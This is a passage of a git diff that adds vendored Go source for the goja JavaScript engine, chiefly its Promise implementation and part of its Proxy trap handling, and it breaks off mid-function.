t.putStr("hasOwnProperty", func(r *Runtime) Value { return r.methodProp(r.objectproto_hasOwnProperty, "hasOwnProperty", 1) }) + t.putStr("isPrototypeOf", func(r *Runtime) Value { return r.methodProp(r.objectproto_isPrototypeOf, "isPrototypeOf", 1) }) + t.putStr("propertyIsEnumerable", func(r *Runtime) Value { + return r.methodProp(r.objectproto_propertyIsEnumerable, "propertyIsEnumerable", 1) + }) + t.putStr(__proto__, func(r *Runtime) Value { + return &valueProperty{ + accessor: true, + getterFunc: r.newNativeFunc(r.objectproto_getProto, "get __proto__", 0), + setterFunc: r.newNativeFunc(r.objectproto_setProto, "set __proto__", 1), + configurable: true, + } + }) + + return t +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_promise.go b/backend/vendor/github.com/dop251/goja/builtin_promise.go new file mode 100644 index 0000000..205f155 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_promise.go @@ -0,0 +1,650 @@ +package goja + +import ( + "github.com/dop251/goja/unistring" + "reflect" +) + +type PromiseState int +type PromiseRejectionOperation int + +type promiseReactionType int + +const ( + PromiseStatePending PromiseState = iota + PromiseStateFulfilled + PromiseStateRejected +) + +const ( + PromiseRejectionReject PromiseRejectionOperation = iota + PromiseRejectionHandle +) + +const ( + promiseReactionFulfill promiseReactionType = iota + promiseReactionReject +) + +type PromiseRejectionTracker func(p *Promise, operation PromiseRejectionOperation) + +type jobCallback struct { + callback func(FunctionCall) Value +} + +type promiseCapability struct { + promise *Object + resolveObj, rejectObj *Object +} + +type promiseReaction struct { + capability *promiseCapability + typ promiseReactionType + handler *jobCallback + asyncRunner *asyncRunner + asyncCtx interface{} +} + +var typePromise = reflect.TypeOf((*Promise)(nil)) + +// Promise is a Go wrapper around ECMAScript Promise. Calling Runtime.ToValue() on it +// returns the underlying Object. Calling Export() on a Promise Object returns a Promise. +// +// Use Runtime.NewPromise() to create one. Calling Runtime.ToValue() on a zero object or nil returns null Value. +// +// WARNING: Instances of Promise are not goroutine-safe. See Runtime.NewPromise() for more details. +type Promise struct { + baseObject + state PromiseState + result Value + fulfillReactions []*promiseReaction + rejectReactions []*promiseReaction + handled bool +} + +func (p *Promise) State() PromiseState { + return p.state +} + +func (p *Promise) Result() Value { + return p.result +} + +func (p *Promise) toValue(r *Runtime) Value { + if p == nil || p.val == nil { + return _null + } + promise := p.val + if promise.runtime != r { + panic(r.NewTypeError("Illegal runtime transition of a Promise")) + } + return promise +} + +func (p *Promise) createResolvingFunctions() (resolve, reject *Object) { + r := p.val.runtime + alreadyResolved := false + return p.val.runtime.newNativeFunc(func(call FunctionCall) Value { + if alreadyResolved { + return _undefined + } + alreadyResolved = true + resolution := call.Argument(0) + if resolution.SameAs(p.val) { + return p.reject(r.NewTypeError("Promise self-resolution")) + } + if obj, ok := resolution.(*Object); ok { + var thenAction Value + ex := r.vm.try(func() { + thenAction = obj.self.getStr("then", nil) + }) + if ex != nil { + return p.reject(ex.val) + } + if call, ok := assertCallable(thenAction); ok { + job := r.newPromiseResolveThenableJob(p, resolution, &jobCallback{callback: call}) + r.enqueuePromiseJob(job) + return _undefined + } + } + return p.fulfill(resolution) + }, "", 1), + p.val.runtime.newNativeFunc(func(call FunctionCall) Value { + if alreadyResolved { + return _undefined + } + alreadyResolved = true + reason := call.Argument(0) + return p.reject(reason) + }, "", 1) +} + +func (p *Promise) reject(reason Value) Value { + reactions := p.rejectReactions + p.result = reason + p.fulfillReactions, p.rejectReactions = nil, nil + p.state = PromiseStateRejected + r := p.val.runtime + if !p.handled { + r.trackPromiseRejection(p, PromiseRejectionReject) + } + r.triggerPromiseReactions(reactions, reason) + return _undefined +} + +func (p *Promise) fulfill(value Value) Value { + reactions := p.fulfillReactions + p.result = value + p.fulfillReactions, p.rejectReactions = nil, nil + p.state = PromiseStateFulfilled + p.val.runtime.triggerPromiseReactions(reactions, value) + return _undefined +} + +func (p *Promise) exportType() reflect.Type { + return typePromise +} + +func (p *Promise) export(*objectExportCtx) interface{} { + return p +} + +func (p *Promise) addReactions(fulfillReaction *promiseReaction, rejectReaction *promiseReaction) { + r := p.val.runtime + if tracker := r.asyncContextTracker; tracker != nil { + ctx := tracker.Grab() + fulfillReaction.asyncCtx = ctx + rejectReaction.asyncCtx = ctx + } + switch p.state { + case PromiseStatePending: + p.fulfillReactions = append(p.fulfillReactions, fulfillReaction) + p.rejectReactions = append(p.rejectReactions, rejectReaction) + case PromiseStateFulfilled: + r.enqueuePromiseJob(r.newPromiseReactionJob(fulfillReaction, p.result)) + default: + reason := p.result + if !p.handled { + r.trackPromiseRejection(p, PromiseRejectionHandle) + } + r.enqueuePromiseJob(r.newPromiseReactionJob(rejectReaction, reason)) + } + p.handled = true +} + +func (r *Runtime) newPromiseResolveThenableJob(p *Promise, thenable Value, then *jobCallback) func() { + return func() { + resolve, reject := p.createResolvingFunctions() + ex := r.vm.try(func() { + r.callJobCallback(then, thenable, resolve, reject) + }) + if ex != nil { + if fn, ok := reject.self.assertCallable(); ok { + fn(FunctionCall{Arguments: []Value{ex.val}}) + } + } + } +} + +func (r *Runtime) enqueuePromiseJob(job func()) { + r.jobQueue = append(r.jobQueue, job) +} + +func (r *Runtime) triggerPromiseReactions(reactions []*promiseReaction, argument Value) { + for _, reaction := range reactions { + r.enqueuePromiseJob(r.newPromiseReactionJob(reaction, argument)) + } +} + +func (r *Runtime) newPromiseReactionJob(reaction *promiseReaction, argument Value) func() { + return func() { + var handlerResult Value + fulfill := false + if reaction.handler == nil { + handlerResult = argument + if reaction.typ == promiseReactionFulfill { + fulfill = true + } + } else { + if tracker := r.asyncContextTracker; tracker != nil { + tracker.Resumed(reaction.asyncCtx) + } + ex := r.vm.try(func() { + handlerResult = r.callJobCallback(reaction.handler, _undefined, argument) + fulfill = true + }) + if ex != nil { + handlerResult = ex.val + } + if tracker := r.asyncContextTracker; tracker != nil { + tracker.Exited() + } + } + if reaction.capability != nil { + if fulfill { + reaction.capability.resolve(handlerResult) + } else { + reaction.capability.reject(handlerResult) + } + } + } +} + +func (r *Runtime) newPromise(proto *Object) *Promise { + o := &Object{runtime: r} + + po := &Promise{} + po.class = classObject + po.val = o + po.extensible = true + o.self = po + po.prototype = proto + po.init() + return po +} + +func (r *Runtime) builtin_newPromise(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("Promise")) + } + var arg0 Value + if len(args) > 0 { + arg0 = args[0] + } + executor := r.toCallable(arg0) + + proto := r.getPrototypeFromCtor(newTarget, r.global.Promise, r.getPromisePrototype()) + po := r.newPromise(proto) + + resolve, reject := po.createResolvingFunctions() + ex := r.vm.try(func() { + executor(FunctionCall{Arguments: []Value{resolve, reject}}) + }) + if ex != nil { + if fn, ok := reject.self.assertCallable(); ok { + fn(FunctionCall{Arguments: []Value{ex.val}}) + } + } + return po.val +} + +func (r *Runtime) promiseProto_then(call FunctionCall) Value { + thisObj := r.toObject(call.This) + if p, ok := thisObj.self.(*Promise); ok { + c := r.speciesConstructorObj(thisObj, r.getPromise()) + resultCapability := r.newPromiseCapability(c) + return r.performPromiseThen(p, call.Argument(0), call.Argument(1), resultCapability) + } + panic(r.NewTypeError("Method Promise.prototype.then called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) +} + +func (r *Runtime) newPromiseCapability(c *Object) *promiseCapability { + pcap := new(promiseCapability) + if c == r.getPromise() { + p := r.newPromise(r.getPromisePrototype()) + pcap.resolveObj, pcap.rejectObj = p.createResolvingFunctions() + pcap.promise = p.val + } else { + var resolve, reject Value + executor := r.newNativeFunc(func(call FunctionCall) Value { + if resolve != nil { + panic(r.NewTypeError("resolve is already set")) + } + if reject != nil { + panic(r.NewTypeError("reject is already set")) + } + if arg := call.Argument(0); arg != _undefined { + resolve = arg + } + if arg := call.Argument(1); arg != _undefined { + reject = arg + } + return nil + }, "", 2) + pcap.promise = r.toConstructor(c)([]Value{executor}, c) + pcap.resolveObj = r.toObject(resolve) + r.toCallable(pcap.resolveObj) // make sure it's callable + pcap.rejectObj = r.toObject(reject) + r.toCallable(pcap.rejectObj) + } + return pcap +} + +func (r *Runtime) performPromiseThen(p *Promise, onFulfilled, onRejected Value, resultCapability *promiseCapability) Value { + var onFulfilledJobCallback, onRejectedJobCallback *jobCallback + if f, ok := assertCallable(onFulfilled); ok { + onFulfilledJobCallback = &jobCallback{callback: f} + } + if f, ok := assertCallable(onRejected); ok { + onRejectedJobCallback = &jobCallback{callback: f} + } + fulfillReaction := &promiseReaction{ + capability: resultCapability, + typ: promiseReactionFulfill, + handler: onFulfilledJobCallback, + } + rejectReaction := &promiseReaction{ + capability: resultCapability, + typ: promiseReactionReject, + handler: onRejectedJobCallback, + } + p.addReactions(fulfillReaction, rejectReaction) + if resultCapability == nil { + return _undefined + } + return resultCapability.promise +} + +func (r *Runtime) promiseProto_catch(call FunctionCall) Value { + return r.invoke(call.This, "then", _undefined, call.Argument(0)) +} + +func (r *Runtime) promiseResolve(c *Object, x Value) *Object { + if obj, ok := x.(*Object); ok { + xConstructor := nilSafe(obj.self.getStr("constructor", nil)) + if xConstructor.SameAs(c) { + return obj + } + } + pcap := r.newPromiseCapability(c) + pcap.resolve(x) + return pcap.promise +} + +func (r *Runtime) promiseProto_finally(call FunctionCall) Value { + promise := r.toObject(call.This) + c := r.speciesConstructorObj(promise, r.getPromise()) + onFinally := call.Argument(0) + var thenFinally, catchFinally Value + if onFinallyFn, ok := assertCallable(onFinally); !ok { + thenFinally, catchFinally = onFinally, onFinally + } else { + thenFinally = r.newNativeFunc(func(call FunctionCall) Value { + value := call.Argument(0) + result := onFinallyFn(FunctionCall{}) + promise := r.promiseResolve(c, result) + valueThunk := r.newNativeFunc(func(call FunctionCall) Value { + return value + }, "", 0) + return r.invoke(promise, "then", valueThunk) + }, "", 1) + + catchFinally = r.newNativeFunc(func(call FunctionCall) Value { + reason := call.Argument(0) + result := onFinallyFn(FunctionCall{}) + promise := r.promiseResolve(c, result) + thrower := r.newNativeFunc(func(call FunctionCall) Value { + panic(reason) + }, "", 0) + return r.invoke(promise, "then", thrower) + }, "", 1) + } + return r.invoke(promise, "then", thenFinally, catchFinally) +} + +func (pcap *promiseCapability) resolve(result Value) { + pcap.promise.runtime.toCallable(pcap.resolveObj)(FunctionCall{Arguments: []Value{result}}) +} + +func (pcap *promiseCapability) reject(reason Value) { + pcap.promise.runtime.toCallable(pcap.rejectObj)(FunctionCall{Arguments: []Value{reason}}) +} + +func (pcap *promiseCapability) try(f func()) bool { + ex := pcap.promise.runtime.vm.try(f) + if ex != nil { + pcap.reject(ex.val) + return false + } + return true +} + +func (r *Runtime) promise_all(call FunctionCall) Value { + c := r.toObject(call.This) + pcap := r.newPromiseCapability(c) + + pcap.try(func() { + promiseResolve := r.toCallable(c.self.getStr("resolve", nil)) + iter := r.getIterator(call.Argument(0), nil) + var values []Value + remainingElementsCount := 1 + iter.iterate(func(nextValue Value) { + index := len(values) + values = append(values, _undefined) + nextPromise := promiseResolve(FunctionCall{This: c, Arguments: []Value{nextValue}}) + alreadyCalled := false + onFulfilled := r.newNativeFunc(func(call FunctionCall) Value { + if alreadyCalled { + return _undefined + } + alreadyCalled = true + values[index] = call.Argument(0) + remainingElementsCount-- + if remainingElementsCount == 0 { + pcap.resolve(r.newArrayValues(values)) + } + return _undefined + }, "", 1) + remainingElementsCount++ + r.invoke(nextPromise, "then", onFulfilled, pcap.rejectObj) + }) + remainingElementsCount-- + if remainingElementsCount == 0 { + pcap.resolve(r.newArrayValues(values)) + } + }) + return pcap.promise +} + +func (r *Runtime) promise_allSettled(call FunctionCall) Value { + c := r.toObject(call.This) + pcap := r.newPromiseCapability(c) + + pcap.try(func() { + promiseResolve := r.toCallable(c.self.getStr("resolve", nil)) + iter := r.getIterator(call.Argument(0), nil) + var values []Value + remainingElementsCount := 1 + iter.iterate(func(nextValue Value) { + index := len(values) + values = append(values, _undefined) + nextPromise := promiseResolve(FunctionCall{This: c, Arguments: []Value{nextValue}}) + alreadyCalled := false + reaction := func(status Value, valueKey unistring.String) *Object { + return r.newNativeFunc(func(call FunctionCall) Value { + if alreadyCalled { + return _undefined + } + alreadyCalled = true + obj := r.NewObject() + obj.self._putProp("status", status, true, true, true) + obj.self._putProp(valueKey, call.Argument(0), true, true, true) + values[index] = obj + remainingElementsCount-- + if remainingElementsCount == 0 { + pcap.resolve(r.newArrayValues(values)) + } + return _undefined + }, "", 1) + } + onFulfilled := reaction(asciiString("fulfilled"), "value") + onRejected := reaction(asciiString("rejected"), "reason") + remainingElementsCount++ + r.invoke(nextPromise, "then", onFulfilled, onRejected) + }) + remainingElementsCount-- + if remainingElementsCount == 0 { + pcap.resolve(r.newArrayValues(values)) + } + }) + return pcap.promise +} + +func (r *Runtime) promise_any(call FunctionCall) Value { + c := r.toObject(call.This) + pcap := r.newPromiseCapability(c) + + pcap.try(func() { + promiseResolve := r.toCallable(c.self.getStr("resolve", nil)) + iter := r.getIterator(call.Argument(0), nil) + var errors []Value + remainingElementsCount := 1 + iter.iterate(func(nextValue Value) { + index := len(errors) + errors = append(errors, _undefined) + nextPromise := promiseResolve(FunctionCall{This: c, Arguments: []Value{nextValue}}) + alreadyCalled := false + onRejected := r.newNativeFunc(func(call FunctionCall) Value { + if alreadyCalled { + return _undefined + } + alreadyCalled = true + errors[index] = call.Argument(0) + remainingElementsCount-- + if remainingElementsCount == 0 { + _error := r.builtin_new(r.getAggregateError(), nil) + _error.self._putProp("errors", r.newArrayValues(errors), true, false, true) + pcap.reject(_error) + } + return _undefined + }, "", 1) + + remainingElementsCount++ + r.invoke(nextPromise, "then", pcap.resolveObj, onRejected) + }) + remainingElementsCount-- + if remainingElementsCount == 0 { + _error := r.builtin_new(r.getAggregateError(), nil) + _error.self._putProp("errors", r.newArrayValues(errors), true, false, true) + pcap.reject(_error) + } + }) + return pcap.promise +} + +func (r *Runtime) promise_race(call FunctionCall) Value { + c := r.toObject(call.This) + pcap := r.newPromiseCapability(c) + + pcap.try(func() { + promiseResolve := r.toCallable(c.self.getStr("resolve", nil)) + iter := r.getIterator(call.Argument(0), nil) + iter.iterate(func(nextValue Value) { + nextPromise := promiseResolve(FunctionCall{This: c, Arguments: []Value{nextValue}}) + r.invoke(nextPromise, "then", pcap.resolveObj, pcap.rejectObj) + }) + }) + return pcap.promise +} + +func (r *Runtime) promise_reject(call FunctionCall) Value { + pcap := r.newPromiseCapability(r.toObject(call.This)) + pcap.reject(call.Argument(0)) + return pcap.promise +} + +func (r *Runtime) promise_resolve(call FunctionCall) Value { + return r.promiseResolve(r.toObject(call.This), call.Argument(0)) +} + +func (r *Runtime) createPromiseProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + o._putProp("constructor", r.getPromise(), true, false, true) + + o._putProp("catch", r.newNativeFunc(r.promiseProto_catch, "catch", 1), true, false, true) + o._putProp("finally", r.newNativeFunc(r.promiseProto_finally, "finally", 1), true, false, true) + o._putProp("then", r.newNativeFunc(r.promiseProto_then, "then", 2), true, false, true) + + o._putSym(SymToStringTag, valueProp(asciiString(classPromise), false, false, true)) + + return o +} + +func (r *Runtime) createPromise(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newPromise, r.getPromisePrototype(), "Promise", 1) + + o._putProp("all", r.newNativeFunc(r.promise_all, "all", 1), true, false, true) + o._putProp("allSettled", r.newNativeFunc(r.promise_allSettled, "allSettled", 1), true, false, true) + o._putProp("any", r.newNativeFunc(r.promise_any, "any", 1), true, false, true) + o._putProp("race", r.newNativeFunc(r.promise_race, "race", 1), true, false, true) + o._putProp("reject", r.newNativeFunc(r.promise_reject, "reject", 1), true, false, true) + o._putProp("resolve", r.newNativeFunc(r.promise_resolve, "resolve", 1), true, false, true) + + r.putSpeciesReturnThis(o) + + return o +} + +func (r *Runtime) getPromisePrototype() *Object { + ret := r.global.PromisePrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.PromisePrototype = ret + ret.self = r.createPromiseProto(ret) + } + return ret +} + +func (r *Runtime) getPromise() *Object { + ret := r.global.Promise + if ret == nil { + ret = &Object{runtime: r} + r.global.Promise = ret + ret.self = r.createPromise(ret) + } + return ret +} + +func (r *Runtime) wrapPromiseReaction(fObj *Object) func(interface{}) error { + f, _ := AssertFunction(fObj) + return func(x interface{}) error { + _, err := f(nil, r.ToValue(x)) + return err + } +} + +// NewPromise creates and returns a Promise and resolving functions for it. +// The returned errors will be uncatchable errors, such as InterruptedError or StackOverflowError, which should be propagated upwards. +// Exceptions are handled through [PromiseRejectionTracker]. +// +// WARNING: The returned values are not goroutine-safe and must not be called in parallel with VM running. +// In order to make use of this method you need an event loop such as the one in goja_nodejs (https://github.com/dop251/goja_nodejs) +// where it can be used like this: +// +// loop := NewEventLoop() +// loop.Start() +// defer loop.Stop() +// loop.RunOnLoop(func(vm *goja.Runtime) { +// p, resolve, _ := vm.NewPromise() +// vm.Set("p", p) +// go func() { +// time.Sleep(500 * time.Millisecond) // or perform any other blocking operation +// loop.RunOnLoop(func(*goja.Runtime) { // resolve() must be called on the loop, cannot call it here +// err := resolve(result) +// // Handle uncatchable errors (e.g. by stopping the loop, panicking or setting a flag) +// }) +// }() +// } +func (r *Runtime) NewPromise() (promise *Promise, resolve, reject func(reason interface{}) error) { + p := r.newPromise(r.getPromisePrototype()) + resolveF, rejectF := p.createResolvingFunctions() + return p, r.wrapPromiseReaction(resolveF), r.wrapPromiseReaction(rejectF) +} + +// SetPromiseRejectionTracker registers a function that will be called in two scenarios: when a promise is rejected +// without any handlers (with operation argument set to PromiseRejectionReject), and when a handler is added to a +// rejected promise for the first time (with operation argument set to PromiseRejectionHandle). +// +// Setting a tracker replaces any existing one. Setting it to nil disables the functionality. +// +// See https://tc39.es/ecma262/#sec-host-promise-rejection-tracker for more details. +func (r *Runtime) SetPromiseRejectionTracker(tracker PromiseRejectionTracker) { + r.promiseRejectionTracker = tracker +} + +// SetAsyncContextTracker registers a handler that allows to track async execution contexts. See AsyncContextTracker +// documentation for more details. Setting it to nil disables the functionality. +// This method (as Runtime in general) is not goroutine-safe. +func (r *Runtime) SetAsyncContextTracker(tracker AsyncContextTracker) { + r.asyncContextTracker = tracker +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_proxy.go b/backend/vendor/github.com/dop251/goja/builtin_proxy.go new file mode 100644 index 0000000..f589930 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_proxy.go @@ -0,0 +1,396 @@ +package goja + +import ( + "github.com/dop251/goja/unistring" +) + +type nativeProxyHandler struct { + handler *ProxyTrapConfig +} + +func (h *nativeProxyHandler) getPrototypeOf(target *Object) (Value, bool) { + if trap := h.handler.GetPrototypeOf; trap != nil { + return trap(target), true + } + return nil, false +} + +func (h *nativeProxyHandler) setPrototypeOf(target *Object, proto *Object) (bool, bool) { + if trap := h.handler.SetPrototypeOf; trap != nil { + return trap(target, proto), true + } + return false, false +} + +func (h *nativeProxyHandler) isExtensible(target *Object) (bool, bool) { + if trap := h.handler.IsExtensible; trap != nil { + return trap(target), true + } + return false, false +} + +func (h *nativeProxyHandler) preventExtensions(target *Object) (bool, bool) { + if trap := h.handler.PreventExtensions; trap != nil { + return trap(target), true + } + return false, false +} + +func (h *nativeProxyHandler) getOwnPropertyDescriptorStr(target *Object, prop unistring.String) (Value, bool) { + if trap := h.handler.GetOwnPropertyDescriptorIdx; trap != nil { + if idx, ok := strToInt(prop); ok { + desc := trap(target, idx) + return desc.toValue(target.runtime), true + } + } + if trap := h.handler.GetOwnPropertyDescriptor; trap != nil { + desc := trap(target, prop.String()) + return desc.toValue(target.runtime), true + } + return nil, false +} + +func (h *nativeProxyHandler) getOwnPropertyDescriptorIdx(target *Object, prop valueInt) (Value, bool) { + if trap := h.handler.GetOwnPropertyDescriptorIdx; trap != nil { + desc := trap(target, toIntStrict(int64(prop))) + return desc.toValue(target.runtime), true + } + if trap := h.handler.GetOwnPropertyDescriptor; trap != nil { + desc := trap(target, prop.String()) + return desc.toValue(target.runtime), true + } + return nil, false +} + +func (h *nativeProxyHandler) getOwnPropertyDescriptorSym(target *Object, prop *Symbol) (Value, bool) { + if trap := h.handler.GetOwnPropertyDescriptorSym; trap != nil { + desc := trap(target, prop) + return desc.toValue(target.runtime), true + } + return nil, false +} + +func (h *nativeProxyHandler) definePropertyStr(target *Object, prop unistring.String, desc PropertyDescriptor) (bool, bool) { + if trap := h.handler.DefinePropertyIdx; trap != nil { + if idx, ok := strToInt(prop); ok { + return trap(target, idx, desc), true + } + } + if trap := h.handler.DefineProperty; trap != nil { + return trap(target, prop.String(), desc), true + } + return false, false +} + +func (h *nativeProxyHandler) definePropertyIdx(target *Object, prop valueInt, desc PropertyDescriptor) (bool, bool) { + if trap := h.handler.DefinePropertyIdx; trap != nil { + return trap(target, toIntStrict(int64(prop)), desc), true + } + if trap := h.handler.DefineProperty; trap != nil { + return trap(target, prop.String(), desc), true + } + return false, false +} + +func (h *nativeProxyHandler) definePropertySym(target *Object, prop *Symbol, desc PropertyDescriptor) (bool, bool) { + if trap := h.handler.DefinePropertySym; trap != nil { + return trap(target, prop, desc), true + } + return false, false +} + +func (h *nativeProxyHandler) hasStr(target *Object, prop unistring.String) (bool, bool) { + if trap := h.handler.HasIdx; trap != nil { + if idx, ok := strToInt(prop); ok { + return trap(target, idx), true + } + } + if trap := h.handler.Has; trap != nil { + return trap(target, prop.String()), true + } + return false, false +} + +func (h *nativeProxyHandler) hasIdx(target *Object, prop valueInt) (bool, bool) { + if trap := h.handler.HasIdx; trap != nil { + return trap(target, toIntStrict(int64(prop))), true + } + if trap := h.handler.Has; trap != nil { + return trap(target, prop.String()), true + } + return false, false +} + +func (h *nativeProxyHandler) hasSym(target *Object, prop *Symbol) (bool, bool) { + if trap := h.handler.HasSym; trap != nil { + return trap(target, prop), true + } + return false, false +} + +func (h *nativeProxyHandler) getStr(target *Object, prop unistring.String, receiver Value) (Value, bool) { + if trap := h.handler.GetIdx; trap != nil { + if idx, ok := strToInt(prop); ok { + return trap(target, idx, receiver), true + } + } + if trap := h.handler.Get; trap != nil { + return trap(target, prop.String(), receiver), true + } + return nil, false +} + +func (h *nativeProxyHandler) getIdx(target *Object, prop valueInt, receiver Value) (Value, bool) { + if trap := h.handler.GetIdx; trap != nil { + return trap(target, toIntStrict(int64(prop)), receiver), true + } + if trap := h.handler.Get; trap != nil { + return trap(target, prop.String(), receiver), true + } + return nil, false +} + +func (h *nativeProxyHandler) getSym(target *Object, prop *Symbol, receiver Value) (Value, bool) { + if trap := h.handler.GetSym; trap != nil { + return trap(target, prop, receiver), true + } + return nil, false +} + +func (h *nativeProxyHandler) setStr(target *Object, prop unistring.String, value Value, receiver Value) (bool, bool) { + if trap := h.handler.SetIdx; trap != nil { + if idx, ok := strToInt(prop); ok { + return trap(target, idx, value, receiver), true + } + } + if trap := h.handler.Set; trap != nil { + return trap(target, prop.String(), value, receiver), true + } + return false, false +} + +func (h *nativeProxyHandler) setIdx(target *Object, prop valueInt, value Value, receiver Value) (bool, bool) { + if trap := h.handler.SetIdx; trap != nil { + return trap(target, toIntStrict(int64(prop)), value, receiver), true + } + if trap := h.handler.Set; trap != nil { + return trap(target, prop.String(), value, receiver), true + } + return false, false +} + +func (h *nativeProxyHandler) setSym(target *Object, prop *Symbol, value Value, receiver Value) (bool, bool) { + if trap := h.handler.SetSym; trap != nil { + return trap(target, prop, value, receiver), true + } + return false, false +} + +func (h *nativeProxyHandler) deleteStr(target *Object, prop unistring.String) (bool, bool) { + if trap := h.handler.DeletePropertyIdx; trap != nil { + if idx, ok := strToInt(prop); ok { + return trap(target, idx), true + } + } + if trap := h.handler.DeleteProperty; trap != nil { + return trap(target, prop.String()), true + } + return false, false +} + +func (h *nativeProxyHandler) deleteIdx(target *Object, prop valueInt) (bool, bool) { + if trap := h.handler.DeletePropertyIdx; trap != nil { + return trap(target, toIntStrict(int64(prop))), true + } + if trap := h.handler.DeleteProperty; trap != nil { + return trap(target, prop.String()), true + } + return false, false +} + +func (h *nativeProxyHandler) deleteSym(target *Object, prop *Symbol) (bool, bool) { + if trap := h.handler.DeletePropertySym; trap != nil { + return trap(target, prop), true + } + return false, false +} + +func (h *nativeProxyHandler) ownKeys(target *Object) (*Object, bool) { + if trap := h.handler.OwnKeys; trap != nil { + return trap(target), true + } + return nil, false +} + +func (h *nativeProxyHandler) apply(target *Object, this Value, args []Value) (Value, bool) { + if trap := h.handler.Apply; trap != nil { + return trap(target, this, args), true + } + return nil, false +} + +func (h *nativeProxyHandler) construct(target *Object, args []Value, newTarget *Object) (Value, bool) { + if trap := h.handler.Construct; trap != nil { + return trap(target, args, newTarget), true + } + return nil, false +} + +func (h *nativeProxyHandler) toObject(runtime *Runtime) *Object { + return runtime.ToValue(h.handler).ToObject(runtime) +} + +func (r *Runtime) newNativeProxyHandler(nativeHandler *ProxyTrapConfig) proxyHandler { + return &nativeProxyHandler{handler: nativeHandler} +} + +// ProxyTrapConfig provides a simplified Go-friendly API for implementing Proxy traps. +// If an *Idx trap is defined it gets called for integer property keys, including negative ones. Note that +// this only includes string property keys that represent a canonical integer +// (i.e. "0", "123", but not "00", "01", " 1" or "-0"). +// For efficiency strings representing integers exceeding 2^53 are not checked to see if they are canonical, +// i.e. the *Idx traps will receive "9007199254740993" as well as "9007199254740994", even though the former is not +// a canonical representation in ECMAScript (Number("9007199254740993") === 9007199254740992). +// See https://262.ecma-international.org/#sec-canonicalnumericindexstring +// If an *Idx trap is not set, the corresponding string one is used. +type ProxyTrapConfig struct { + // A trap for Object.getPrototypeOf, Reflect.getPrototypeOf, __proto__, Object.prototype.isPrototypeOf, instanceof + GetPrototypeOf func(target *Object) (prototype *Object) + + // A trap for Object.setPrototypeOf, Reflect.setPrototypeOf + SetPrototypeOf func(target *Object, prototype *Object) (success bool) + + // A trap for Object.isExtensible, Reflect.isExtensible + IsExtensible func(target *Object) (success bool) + + // A trap for Object.preventExtensions, Reflect.preventExtensions + PreventExtensions func(target *Object) (success bool) + + // A trap for Object.getOwnPropertyDescriptor, Reflect.getOwnPropertyDescriptor (string properties) + GetOwnPropertyDescriptor func(target *Object, prop string) (propertyDescriptor PropertyDescriptor) + + // A trap for Object.getOwnPropertyDescriptor, Reflect.getOwnPropertyDescriptor (integer properties) + GetOwnPropertyDescriptorIdx func(target *Object, prop int) (propertyDescriptor PropertyDescriptor) + + // A trap for Object.getOwnPropertyDescriptor, Reflect.getOwnPropertyDescriptor (Symbol properties) + GetOwnPropertyDescriptorSym func(target *Object, prop *Symbol) (propertyDescriptor PropertyDescriptor) + + // A trap for Object.defineProperty, Reflect.defineProperty (string properties) + DefineProperty func(target *Object, key string, propertyDescriptor PropertyDescriptor) (success bool) + + // A trap for Object.defineProperty, Reflect.defineProperty (integer properties) + DefinePropertyIdx func(target *Object, key int, propertyDescriptor PropertyDescriptor) (success bool) + + // A trap for Object.defineProperty, Reflect.defineProperty (Symbol properties) + DefinePropertySym func(target *Object, key *Symbol, propertyDescriptor PropertyDescriptor) (success bool) + + // A trap for the in operator, with operator, Reflect.has (string properties) + Has func(target *Object, property string) (available bool) + + // A trap for the in operator, with operator, Reflect.has (integer properties) + HasIdx func(target *Object, property int) (available bool) + + // A trap for the in operator, with operator, Reflect.has (Symbol properties) + HasSym func(target *Object, property *Symbol) (available bool) + + // A trap for getting property values, Reflect.get (string properties) + Get func(target *Object, property string, receiver Value) (value Value) + + // A trap for getting property values, Reflect.get (integer properties) + GetIdx func(target *Object, property int, receiver Value) (value Value) + + // A trap for getting property values, Reflect.get (Symbol properties) + GetSym func(target *Object, property *Symbol, receiver Value) (value Value) + + // A trap for setting property values, Reflect.set (string properties) + Set func(target *Object, property string, value Value, receiver Value) (success bool) + + // A trap for setting property values, Reflect.set (integer properties) + SetIdx func(target *Object, property int, value Value, receiver Value) (success bool) + + // A trap for setting property values, Reflect.set (Symbol properties) + SetSym func(target *Object, property *Symbol, value Value, receiver Value) (success bool) + + // A trap for the delete operator, Reflect.deleteProperty (string properties) + DeleteProperty func(target *Object, property string) (success bool) + + // A trap for the delete operator, Reflect.deleteProperty (integer properties) + DeletePropertyIdx func(target *Object, property int) (success bool) + + // A trap for the delete operator, Reflect.deleteProperty (Symbol properties) + DeletePropertySym func(target *Object, property *Symbol) (success bool) + + // A trap for Object.getOwnPropertyNames, Object.getOwnPropertySymbols, Object.keys, Reflect.ownKeys + OwnKeys func(target *Object) (object *Object) + + // A trap for a function call, Function.prototype.apply, Function.prototype.call, Reflect.apply + Apply func(target *Object, this Value, argumentsList []Value) (value Value) + + // A trap for the new operator, Reflect.construct + Construct func(target *Object, argumentsList []Value, newTarget *Object) (value *Object) +} + +func (r *Runtime) newProxy(args []Value, proto *Object) *Object { + if len(args) >= 2 { + if target, ok := args[0].(*Object); ok { + if proxyHandler, ok := args[1].(*Object); ok { + return r.newProxyObject(target, proxyHandler, proto).val + } + } + } + panic(r.NewTypeError("Cannot create proxy with a non-object as target or handler")) +} + +func (r *Runtime) builtin_newProxy(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("Proxy")) + } + return r.newProxy(args, r.getPrototypeFromCtor(newTarget, r.getProxy(), r.global.ObjectPrototype)) +} + +func (r *Runtime) NewProxy(target *Object, nativeHandler *ProxyTrapConfig) Proxy { + if p, ok := target.self.(*proxyObject); ok { + if p.handler == nil { + panic(r.NewTypeError("Cannot create proxy with a revoked proxy as target")) + } + } + handler := r.newNativeProxyHandler(nativeHandler) + proxy := r._newProxyObject(target, handler, nil) + return Proxy{proxy: proxy} +} + +func (r *Runtime) builtin_proxy_revocable(call FunctionCall) Value { + if len(call.Arguments) >= 2 { + if target, ok := call.Argument(0).(*Object); ok { + if proxyHandler, ok := 